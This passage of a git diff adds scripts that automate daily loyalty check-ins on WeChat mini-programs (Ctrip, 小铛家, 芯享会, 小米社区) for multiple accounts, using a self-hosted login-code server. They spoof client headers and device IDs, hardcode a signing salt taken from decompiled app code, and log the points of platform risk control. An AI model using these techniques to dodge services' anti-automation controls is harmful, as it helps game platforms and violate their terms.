Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + // PASSPORT gateway:body 为 JSON 字符串,返回 {ReturnCode, Result(字符串)} + async gateway(pathname, data) { + const res = await axios.post(`${PASSPORT_BASE}/${pathname}`, JSON.stringify(data), { + timeout: 30000, + validateStatus: () => true, + headers: { + "Content-Type": "application/json", + "User-Agent": UA_MP, + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PACKAGE_VERSION}/page-frame.html`, + }, + }); + if (DEBUG) this.log(`gateway ${pathname} [${res.status}]: ${short(res.data, 500)}`); + if (res.status !== 200 || Number(res.data?.ReturnCode) !== 0) { + throw new Error(`${pathname} 失败[${res.status}]: ${short(res.data)}`); + } + return parseJsonMaybe(res.data.Result || "{}"); + } + + // m.ctrip.com H5 接口(cticket cookie 鉴权) + async h5Api(pathname, data) { + const cookies = []; + if (this.ticket) cookies.push(`cticket=${this.ticket}`); + if (this.duid) cookies.push(`DUID=${encodeURIComponent(this.duid)}`); + if (this.udl) cookies.push(`_udl=${this.udl}`); + cookies.push(`GUID=${CLIENT_ID}`); + const res = await axios.post(`${API_BASE}${pathname}`, JSON.stringify(data || {}), { + timeout: 30000, + validateStatus: () => true, + headers: { + "Content-Type": "application/json", + "User-Agent": UA_MP, + Referer: "https://m.ctrip.com/", + Cookie: `${cookies.join("; ")};`, + }, + }); + return { status: res.status, data: res.data, text: typeof res.data === "string" ? res.data : JSON.stringify(res.data) }; + } + + async login() { + const code = await this.getCode(); + + const wxLogin = await this.gateway("soa2/14553/wechatLogin.json", { + AccountHead: {}, + Data: { authCode: code, thirdConfigCode: ACCESS_CODE, Context: {} }, + }); + if (!wxLogin?.wechatCode || wxLogin?.resultStatus?.returnCode !== 0) { + throw new Error(`wechatLogin未返回wechatCode: ${short(wxLogin)}`); + } + + const auth = await this.gateway("soa2/14553/authenticate.json", { + AccountHead: {}, + Data: { + authCode: wxLogin.wechatCode, thirdType: "wechat_app", thirdConfigCode: ACCESS_CODE, + context: { encryptedData: "", iv: "", uuid: "" }, + }, + }); + if (!auth?.token || auth?.resultStatus?.returnCode !== 0) { + throw new Error(`authenticate未返回token: ${short(auth)}`); + } + + const login = await this.gateway("soa2/12559/thirdPartyLogin.json", { + AccountHead: {}, + Data: { + accountHead: { locale: "zh_CN", platform: "MINIAPP" }, + token: auth.token, + extendedProperties: { + clientID: CLIENT_ID, page_id: "", Url: "", thirdConfigCode: ACCESS_CODE, + deviceName: "Windows PC", OsType: "windows", + }, + }, + }); + if (!login?.ticket || login?.resultStatus?.returnCode !== 0) { + // 登录链走通但没换到 ticket —— 视作该微信号未在携程注册/绑定 + this.unregistered = true; + throw new Error(`NO_ACCOUNT:thirdPartyLogin未返回ticket: ${short(login)}`); + } + + this.ticket = login.ticket; + this.duid = login.duid || login.extendedProperties?.duid || ""; + this.udl = login.udl || ""; + this.uid = login.uid || login.extendedProperties?.uid || ""; + // 若登录响应里带明文 openId,则优先用它做 signToday(否则用账号 openid) + this.ctripOpenId = login.openId || login.extendedProperties?.openId || ""; + const cache = readCache(); + cache[this.openid] = { + ticket: this.ticket, duid: this.duid, udl: this.udl, uid: this.uid, + ctripOpenId: this.ctripOpenId, updatedAt: new Date().toISOString(), + }; + writeCache(cache); + this.log(`登录成功: ${mask(this.uid || this.ticket)}`); + } + + async ensureLogin() { + const cached = readCache()[this.openid] || {}; + if (!this.ticket && cached.ticket) { + this.ticket = cached.ticket; this.duid = cached.duid || ""; this.udl = cached.udl || ""; + this.uid = cached.uid || ""; this.ctripOpenId = cached.ctripOpenId || ""; + this.log("使用缓存ticket"); + return; + } + if (!this.ticket) await this.login(); + } + + async querySignStatus() { + // getSignTodayInfoProxy 走 Cookie 直连通道可读(_fxpcqlniredt 代理通道会被运行态校验 401/11001 拦截) + const res = await this.h5Api("/restapi/soa2/13012/getSignTodayInfoProxy", {}); + if (res.status !== 200 || !okResponseStatus(res.data)) { + if (DEBUG) this.log(`签到状态查询异常[${res.status}]: ${short(res.text, 400)}`); + return null; + } + const info = parseJsonMaybe(res.data.responseJson || "{}"); + const signed = !!(info && (info.sign === true)); + this.log(`今日签到状态: ${signed ? "已签到" : "未签到"}${info.totalPoint !== undefined ? `,积分${info.totalPoint}` : ""}`); + return { signed, raw: info }; + } + + async sign(retry = true) { + const st = await this.querySignStatus(); + if (st && st.signed) return this.log("✅ 今日已签到"); + + const openId = this.ctripOpenId || this.openid || ""; + const res = await this.h5Api("/restapi/soa2/22769/signToday", { openId }); + if (DEBUG) this.log(`signToday [${res.status}]: ${short(res.text, 500)}`); + + if (res.status === 401 && (res.data?.code === "11001" || res.data?.code === 11001)) { + this.log(`❌ 签到接口被携程运行态校验拦截(401/11001):${res.data.message || ""}`); + return { blocked: true }; + } + if (res.status !== 200) { + // 会话失效重登重试一次 + if (retry && (res.status === 403 || /token|登录|未授权|失效|过期|未登录|鉴权/i.test(res.text))) { + this.log("会话可能失效,重新登录后重试"); + this.ticket = ""; delete readCache()[this.openid]; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到请求异常[${res.status}]: ${short(res.text, 500)}`); + return; + } + const d = res.data || {}; + const message = d.message || d.Message || ""; + const code = Number(d.code); + const points = Number(d.baseIntegratedPoint || 0) + Number(d.extraIntegratedPoint || 0); + if (okResponseStatus(d) && (code === 0 || /成功/.test(message))) { + return this.log(`✅ 签到成功${message ? `:${message}` : ""}${points ? `,积分+${points}` : ""}`); + } + if (/已签到|已经签到|无法补签|重复/.test(message) || code === 400001) { + return this.log(`✅ 今日已签到(${message || code})`); + } + // 404002「未满足当前活动参与条件」= 携程运行态校验(风控):真正的签到走 _fxpcqlniredt 代理通道, + // 需小程序运行态生成的私有签名(n-payload-source/cSign),Cookie 直连通道拿不到该上下文 -> 被拦。 + if (code === 404002 || /未满足当前活动参与条件/.test(message)) { + return this.log(`⚠️ 签到被携程运行态校验(风控)拦截:${message || code}(登录/状态查询正常,写操作需运行态私有签名,无法绕过)`); + } + if (okResponseStatus(d)) { + return this.log(`签到返回:${short(res.text, 500)}`); + } + // 未授权类 -> 重登重试 + if (retry && /token|登录|未授权|失效|过期|未登录|鉴权/i.test(res.text)) { + this.log("会话可能失效,重新登录后重试"); + this.ticket = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败:${short(res.text, 500)}`); + } + + async run() { + if (!this.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log("⚠️ 该微信号还没在携程注册/绑定会员,先在小程序里登录一次再跑"); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/xiaodangjia.js b/wxapp/xiaodangjia.js new file mode 100644 index 00000000..c29e8c99 --- /dev/null +++ b/wxapp/xiaodangjia.js @@ -0,0 +1,240 @@ +/* +------------------------------------------ +@Description: 小铛家 - 微信小程序静默登录 + 每日签到 +cron: 32 8 * * * +------------------------------------------ +变量名:xiaodangjia +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx7f5bc6f204abc629,host lm.api.sujh.net): + 登录 POST /app/login/wechatLogin {code} -> data.token + 之后所有请求带请求头 Authorization: + 签到 POST /app/sign/signIn {} +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("小铛家"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "xiaodangjia"; +const MINI_APP_ID = "wx7f5bc6f204abc629"; +const BASE = "https://lm.api.sujh.net"; + +const TOKEN_CACHE_FILE = path.join(__dirname, "xiaodangjia_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_LOGIN = "/app/login/wechatLogin"; +const EP_SIGN = "/app/sign/signIn"; +const EP_USER = null; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +function form(obj) { + return Object.entries(obj) + .map(([k, v]) => `${k}=${encodeURIComponent(v === undefined || v === null ? "" : v)}`) + .join("&"); +} + +/** 该后端的成功判定 */ +const isOk = (res) => Number(res?.code) === 0 || Number(res?.code) === 200 || res?.success === true; +const msgOf = (res) => res?.msg || res?.message || res?.msg || short(res); +/** 每天跑一次,「已签到」必须当成成功而不是失败 */ +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isAuthError = (t) => /登录|token|未授权|未登录|失效|过期|重新|401/i.test(String(t || "")); +/** 账号态:这个微信号还没在该平台注册/绑定 —— 不是脚本缺陷,别打 ❌ */ +const isNotRegistered = (t) => /未注册|未绑定|请先注册|请先绑定|not regist/i.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.signedToday = false; + // 设备号按 openid 稳定派生:同一账号每次跑都一样,避免被当成新设备 + this.deviceId = "d_" + require("crypto").createHash("md5") + .update(String(this.account.openid || raw)).digest("hex").slice(0, 16); + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + async request(apiPath, body = null, withAuth = true, method = "POST", query = null, epHeaders = null) { + const isForm = false; + const headers = { + "Content-Type": isForm ? "application/x-www-form-urlencoded" : "application/json", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/0/page-frame.html`, + Accept: "application/json, text/plain, */*", + xweb_xhr: "1", + ...(epHeaders || {}), + }; + if (withAuth && this.token) headers["Authorization"] = this.token; + const payload = body || {}; + + const isGet = String(method).toUpperCase() === "GET"; + // query 独立于 body:有些接口是 POST 但参数只在查询串上 + const qs = query ? form(query) : (isGet && Object.keys(payload).length ? form(payload) : ""); + const res = await axios.request({ + method: isGet ? "GET" : "POST", + url: `${BASE}${apiPath}${qs ? `?${qs}` : ""}`, + data: isGet ? undefined : (isForm ? form(payload) : payload), + headers, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status < 200 || res.status >= 300) { + // 业务结论常常躺在 4xx/5xx 的 JSON 体里("今日已签到" 见过 400 也见过 500), + // 有 JSON 体就交给下游按业务码判,别在这一层抛掉 + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + + /** + * wcs.getCode 在 status:false 时也会 resolve,必须自己判失败, + * 否则 wx_server 的取码限流会被误报成目标站登录失败。 + */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { code }, false, "POST", null, null); + if (!isOk(res)) throw new Error(`登录失败: ${msgOf(res)}`); + this.token = (res.data || {}).token || ""; + + if (!this.token) throw new Error(`登录未返回 token: ${short(res)}`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + if (await this.queryUser(false)) { + this.log("使用缓存token"); + return; + } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + } + + async queryUser(needLog = true) { + if (!EP_USER) return true; + const res = await this.request(EP_USER, {}, true, "POST", null, null); + if (!isOk(res)) { + if (needLog) this.log(`读取资料失败: ${msgOf(res)}`); + return false; + } + // 有的家没有 data/body 包装,响应体本身就是数据(zippo 的 profile 就是) + const d = res.data || res.datas || res.body || res || {}; + if (needLog) { + const bits = []; + for (const k of ["nickname", "nickName", "name", "memberId", "integral", "points", + "point", "score", "credits", "balance", "coin", "amount"]) { + if (d && d[k] !== undefined && d[k] !== null && d[k] !== "") bits.push(`${k}=${d[k]}`); + } + this.log(`会员: ${bits.join(" ") || short(d, 120)}`); + } + return true; + } + + async sign(retry = true) { + const res = await this.request(EP_SIGN, {}, true, "POST", null, null); + if (isOk(res)) return this.log("✅ 签到成功"); + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (isNotRegistered(msgOf(res))) { + return this.log(`⚠️ ${msgOf(res)} —— 该微信号还没在该平台注册会员,先在小程序里注册一次再跑`); + } + if (retry && isAuthError(msgOf(res))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + await this.ensureLogin(); + await this.queryUser(); + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/xinxianghui.py b/wxapp/xinxianghui.py new file mode 100644 index 00000000..dcffecc9 --- /dev/null +++ b/wxapp/xinxianghui.py @@ -0,0 +1,351 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# 芯享会 - 每日签到得好奇豆 +# 入口: 微信小程序「芯享会」-> 我的(下拉/任务福利) -> 签到 +# 说明: 通过 wx_server(smallcat) 用 openid 换取 wx.login code 自动登录, 完成每日签到 +# 账号变量名:xxh (填写 wx_server 中的 openid, 多账号用换行或 & 分割, 可选 #备注) +# 需要配置 wx_server_url、wx_auth, 用于获取 wx.login code +#new Env("芯享会签到") +#cron 20 9 * * * + +import hashlib +import json +import os +import sys +import time +from datetime import datetime, timedelta, timezone +from pathlib import Path + +import requests + +if hasattr(sys.stdout, "reconfigure"): + sys.stdout.reconfigure(encoding="utf-8", errors="replace") +if hasattr(sys.stderr, "reconfigure"): + sys.stderr.reconfigure(encoding="utf-8", errors="replace") + +try: + from notify import send +except Exception: + def send(title, content): + print(f"\n===== {title} =====\n{content}") + +# --------------------------------------------------------------------------- +# 常量 (均来自小程序反编译源码, 非机密) +# --------------------------------------------------------------------------- +MINI_APP_ID = "wx13ce9eedfb50ea1b" +BASE_URL = "https://jbl-xxh-api.91dh.com.cn" +SALT = "mGiz2csojwbADX9DETPK38jbFpw28YOj" # utils/util.js 签名盐 +SUCCESS_CODE = 10000 # 1e4 +SESSION_INVALID_CODE = 20003 # 登录会话失效 -> 需重新登录 +NEED_AUTH_CODES = (20008, 20010) # 需授权 / 需手机号 (账号前置条件) + +# smallcat / wx_server 配置 (机密, 从环境变量读取, 绝不硬编码) +WX_SERVER_URL = os.getenv("wx_server_url", "http://192.168.31.196:8787").rstrip("/") +WX_AUTH = os.getenv("wx_auth", "") +# miniProgram.version, 发布版通常为空串; 服务端按传入值重算签名, 一般无需修改 +VERSION = os.getenv("xxh_version", "") +# 首次登录(注册)时提交的昵称; 仅在账号未授权时使用, 不会覆盖已注册账号 +NICKNAME = os.getenv("xxh_nickname", "微信用户") + +TOKEN_CACHE_PATH = Path(__file__).with_name("xinxianghui_token_cache.json") +DEFAULT_UA = ( + "Mozilla/5.0 (Linux; Android 13; SM-G9910 Build/TP1A.220624.014) " + "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36 " + "MicroMessenger/8.0.49.2600(0x28003137) NetType/WIFI Language/zh_CN " + "miniProgram/" + MINI_APP_ID +) + +session = requests.Session() + + +# --------------------------------------------------------------------------- +# 工具函数 +# --------------------------------------------------------------------------- +def now_time(): + """本地(北京)时间 YYYY-MM-DD HH:MM:SS, 对应 util.getNowTime()。""" + return datetime.now(timezone(timedelta(hours=8))).strftime("%Y-%m-%d %H:%M:%S") + + +def mask(value): + if not value: + return "" + value = str(value) + if len(value) <= 12: + return value[:2] + "***" + return f"{value[:6]}***{value[-4:]}" + + +def sign_payload(fields): + """复刻 util.getRequestData: 键名排序后拼接 key+value, sign=sha1(SALT+拼接+SALT)。""" + concat = "" + for key in sorted(fields.keys()): + value = fields[key] + if isinstance(value, (dict, list)): + concat += key + json.dumps(value, separators=(",", ":"), ensure_ascii=False) + else: + concat += key + str(value) + signed = dict(fields) + signed["sign"] = hashlib.sha1((SALT + concat + SALT).encode("utf-8")).hexdigest() + return signed + + +def read_token_cache(): + try: + if not TOKEN_CACHE_PATH.exists(): + return {} + return json.loads(TOKEN_CACHE_PATH.read_text(encoding="utf-8")) or {} + except Exception: + return {} + + +def write_token_cache(cache): + try: + TOKEN_CACHE_PATH.write_text( + json.dumps(cache, ensure_ascii=False, indent=2), encoding="utf-8" + ) + except Exception as e: + print(f"⚠️ 写入token缓存失败: {e}") + + +def get_cached_token(account_id): + return (read_token_cache().get(account_id) or {}).get("access_token") + + +def save_cached_token(account_id, access_token): + cache = read_token_cache() + cache[account_id] = {"access_token": access_token, "updatedAt": int(time.time())} + write_token_cache(cache) + + +def remove_cached_token(account_id): + cache = read_token_cache() + if account_id in cache: + del cache[account_id] + write_token_cache(cache) + + +# --------------------------------------------------------------------------- +# smallcat: openid -> wx.login code +# --------------------------------------------------------------------------- +def get_wx_code(account_id): + if not WX_AUTH: + raise RuntimeError("缺少 wx_auth, 无法从 wx_server 获取 code") + headers = { + "Accept": "application/json", + "Content-Type": "application/json", + "auth": WX_AUTH, + } + body = json.dumps({"appid": MINI_APP_ID, "openid": account_id}) + last_msg = "" + for attempt in range(4): + if attempt: + # smallcat 偶发 "获取失败"(运行时会话抖动), 刷新会话后间隔重试 + try: + session.post(f"{WX_SERVER_URL}/wx/refresh", data=body, + headers=headers, timeout=30) + except Exception: + pass + time.sleep(3) + resp = session.post(f"{WX_SERVER_URL}/wx/code", data=body, + headers=headers, timeout=30) + resp.raise_for_status() + data = resp.json() + if isinstance(data, dict) and data.get("status") is False: + last_msg = data.get("message") or "获取失败" + continue + code = data.get("code") or (data.get("data") or {}).get("code") + if code: + return code + last_msg = "wx_server 未返回 code" + raise RuntimeError(f"wx_server 获取 code 失败(已重试): {last_msg}") + + +# --------------------------------------------------------------------------- +# 芯享会 API +# --------------------------------------------------------------------------- +def api_request(endpoint, method, token, params=None): + """复刻 utils/http.js httpReq: 签名后 GET 走 query、POST 走 body。""" + fields = { + "timestamp": now_time(), + "access_token": token or "", + "version": VERSION, + } + if params is not None and params != "": + fields["params"] = json.dumps(params, separators=(",", ":"), ensure_ascii=False) + signed = sign_payload(fields) + + url = f"{BASE_URL}{endpoint}?access_token={token or ''}" + headers = { + "content-type": "application/json", + "User-Agent": DEFAULT_UA, + "Referer": f"https://servicewechat.com/{MINI_APP_ID}/0/page-frame.html", + } + if method.upper() == "GET": + resp = session.get(url, params=signed, headers=headers, timeout=30) + else: + resp = session.post( + url, + data=json.dumps(signed, separators=(",", ":"), ensure_ascii=False), + headers=headers, + timeout=30, + ) + resp.raise_for_status() + return resp.json() + + +def login(account_id): + """wx.login code -> access_token。 + + 优先走 /user-member/auto-login (刷新已注册账号会话, 非破坏性); + 若账号首次使用/未授权, 回退到 /user-member/user-auth 完成微信授权注册。 + """ + code = get_wx_code(account_id) + result = api_request("/user-member/auto-login", "POST", "", {"wx_code": code}) + rcode = int(result.get("code", -1)) + if rcode == SUCCESS_CODE: + data = result.get("data") or {} + access_token = data.get("access_token") + if not access_token: + raise RuntimeError(f"登录响应缺少 access_token: {result}") + member = data.get("member_info") or {} + return access_token, (member.get("nickname") or member.get("nick_name") or "") + + # 首次登录: 未授权 -> 走 app 自身的授权注册流程 (user-auth) + msg = str(result.get("msg") or "") + if rcode in NEED_AUTH_CODES or "授权" in msg or "未注册" in msg: + print(f" 账号首次使用, 执行微信授权注册... ({msg})") + code2 = get_wx_code(account_id) # code 单次有效, 重新获取 + params = {"wx_code": code2, "nickname": NICKNAME, "avatar": "", "come_from": ""} + auth = api_request("/user-member/user-auth", "POST", "", params) + if int(auth.get("code", -1)) == SUCCESS_CODE: + data = auth.get("data") or {} + access_token = data.get("access_token") + if not access_token: + raise RuntimeError(f"授权响应缺少 access_token: {auth}") + member = data.get("member_info") or {} + return access_token, (member.get("nickname") or member.get("nick_name") or "") + raise RuntimeError(f"授权注册失败: {auth.get('msg') or auth}") + + raise RuntimeError(f"code 登录失败: {msg or result}") + + +def get_token_for_account(account_id, index, force=False): + if not force: + cached = get_cached_token(account_id) + if cached: + print(f"账号 {index} 使用缓存 token: {mask(cached)}") + return cached + access_token, nick = login(account_id) + save_cached_token(account_id, access_token) + print(f"账号 {index} code 登录成功 {('(' + nick + ')') if nick else ''}: {mask(access_token)}") + return access_token + + +def sign_in_list(token): + return api_request("/user-member/sign-in-list", "GET", token) + + +def do_sign_in(token): + return api_request("/user-member/sign-in", "GET", token, {}) + + +# --------------------------------------------------------------------------- +# 主流程 (每账号一次幂等签到) +# --------------------------------------------------------------------------- +def run_account(account_id, index): + lines = [f"【账号 {index}】"] + + token = get_token_for_account(account_id, index) + state = sign_in_list(token) + + # 会话失效 -> 强制重新登录后重试一次 (对应源码 20003 自动重登) + if int(state.get("code", -1)) == SESSION_INVALID_CODE: + print(f"账号 {index} 会话失效, 重新登录...") + remove_cached_token(account_id) + token = get_token_for_account(account_id, index, force=True) + state = sign_in_list(token) + + code = int(state.get("code", -1)) + if code in NEED_AUTH_CODES: + if code == 20010: + msg = "需先在小程序「我的→签到→手机号授权」绑定手机号后才能签到" + else: + msg = "需先在小程序内完成注册授权后才能签到" + print(f"⚠️ 账号 {index} {msg} (code={code})") + lines.append(f"⚠️ {msg}") + return "\n".join(lines), False + + if code != SUCCESS_CODE: + msg = state.get("msg") or f"查询签到状态失败 code={code}" + print(f"❌ 账号 {index} {msg}") + lines.append(f"❌ {msg}") + return "\n".join(lines), False + + data = state.get("data") or {} + status = data.get("status") + xq_count = data.get("xqCount") + print(f"账号 {index} 签到状态 status={status} 连续签到={xq_count}") + + # status==2 表示今日可签到 (welfare/index.wxml: 签到按钮 wx:if=status==2) + if status != 2: + msg = f"今日无需签到 (status={status}, 连续签到 {xq_count} 天)" + print(f"✅ 账号 {index} {msg}") + lines.append(f"✅ {msg}") + return "\n".join(lines), True + + result = do_sign_in(token) + rcode = int(result.get("code", -1)) + if rcode == SUCCESS_CODE: + msg = "签到成功" + rdata = result.get("data") or {} + score = rdata.get("score") or rdata.get("point") + if score: + msg += f", +{score} 好奇豆" + print(f"🎉 账号 {index} {msg}") + lines.append(f"🎉 {msg}") + return "\n".join(lines), True + + msg = result.get("msg") or f"签到失败 code={rcode}" + print(f"❌ 账号 {index} {msg}") + lines.append(f"❌ {msg}") + return "\n".join(lines), False + + +def main(): + raw = os.getenv("xxh", "") + accounts = [x.strip() for x in raw.replace("&", "\n").splitlines() if x.strip()] + + if not accounts: + print("❌ 未检测到账号信息(环境变量 xxh), 退出。") + return + if not WX_AUTH: + print("❌ 未配置 wx_auth, 无法获取 code, 退出。") + return + + print("=============== 芯享会 签到开始 ===============") + summaries = [] + ok_count = 0 + for i, entry in enumerate(accounts, 1): + parts = entry.split("#", 1) + account = parts[0].strip() + remark = parts[1].strip() if len(parts) > 1 else "" + print(f"\n-------------- 账号 {i}{('/' + remark) if remark else ''} --------------") + try: + summary, ok = run_account(account, i) + summaries.append(summary) + ok_count += 1 if ok else 0 + except Exception as e: + print(f"❌ 账号 {i} 执行异常: {e}") + summaries.append(f"【账号 {i}】\n❌ 执行异常: {e}") + time.sleep(1) + + print("\n=============== 芯享会 签到结束 ===============") + title = f"芯享会签到 {ok_count}/{len(accounts)} 成功" + try: + send(title, "\n\n".join(summaries)) + except Exception as e: + print(f"⚠️ 通知发送失败: {e}") + + +if __name__ == "__main__": + main() diff --git a/wxapp/xmsq.js b/wxapp/xmsq.js new file mode 100644 index 00000000..5228e29b --- /dev/null +++ b/wxapp/xmsq.js @@ -0,0 +1,290 @@ +/* +------------------------------------------ +@Description: 小米社区 - 微信小程序登录 + 每日签到 +cron: 15 8 * * * +------------------------------------------ +变量名:xmsq +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx240a4a764023c444,登录 account.xiaomi.com / 业务 api.vip.miui.com): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录) + +登录(纯 wx code,无需小米账号密码/passToken 外部凭证): + 0) 取微信 getUserInfo 加密资料:POST wx_server/wx/getuserinfo {appid,openid} + -> data.{cloud_id,encryptedData,iv,signature,data(明文profile)} + 1) POST account.xiaomi.com/pass/sns/wxapp/v2/code + form {code, appid, sid:"wx_vip", userInfo:"true", _locale:"zh_CN"} + -> code==0,data.wxSToken(微信登录临时票据) + 2) set-cookie deviceId / wxSToken;并把 userInfo 写进 cookie(url-encoded JSON: + {cloudID,encryptedData,iv,signature,userInfo,rawData,errMsg}) + ★ 关键:缺 userInfo cookie 时 tokenLogin 只会 302 到 serviceLogin、无法签发会话 + 3) POST account.xiaomi.com/pass/sns/wxapp/v3/tokenLogin + form {sid:"wx_vip", appid, callback:"", authType:"1", wxSToken, _locale},不跟随重定向 + -> 返回 JSON 含 passToken/userId/cUserId(存缓存) + code=20003 用户不存在=该微信未注册小米账号;code=24023 用户密码未设置=账号未激活 + 4) set-cookie passToken/userId/cUserId + 5) GET account.xiaomi.com/pass/serviceLogin?sid=wx_vip&_json=true -> code0,location(STS地址) + 6) GET -> {S:"OK"},set-cookie wx_vip_ph(社区会话票据) +签到(api.vip.miui.com,用 ?wx_vip_ph= 作为会话): + 查询 GET /mtop/planet/wechat/checkin/mypagedata -> entity.data[].title=="每日签到" 的 button=="已签到" 即已签 + 签到 POST /mtop/planet/wechat/member/addCommunityGrowUpPointByActionV2 form {action:"WECHAT_CHECKIN_TASK"} + -> message=="success" 成功 +sid="wx_vip"、action="WECHAT_CHECKIN_TASK" 是这家小程序固定应用常量(原脚本硬编码,非个人凭证)。 +passToken/userId/cUserId 为登录后本机生成的会话票据,按 openid 存本地缓存 xmsq_token_cache.json。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("小米社区签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "xmsq"; +const MINI_APP_ID = "wx240a4a764023c444"; +const PAGE_VERSION = "73"; +const ACCOUNT = "https://account.xiaomi.com"; +const BASE = "https://api.vip.miui.com"; +const SID = "wx_vip"; +const TOKEN_CACHE_FILE = path.join(__dirname, "xmsq_token_cache.json"); +const UA = + "Mozilla/5.0 (iPhone; CPU iPhone OS 16_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) " + + "Mobile/15E148 MicroMessenger/8.0.73(0x18004939) NetType/WIFI Language/zh_CN"; +const REFERER = `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +const DEBUG = process.env.XMSQ_DEBUG === "1"; + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 300) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +// 小米部分 JSON 接口以 &&&START&&& 开头 +function parseXiaomiJson(text) { + if (text == null) return {}; + if (typeof text === "object") return text; + let t = String(text); + if (t.startsWith("&&&START&&&")) t = t.slice("&&&START&&&".length); + try { return JSON.parse(t); } catch (e) { return { __raw: t }; } +} + +class CookieJar { + constructor() { this.map = {}; } + setFromResponse(res) { + const sc = res && res.headers && res.headers["set-cookie"]; + if (!sc) return; + 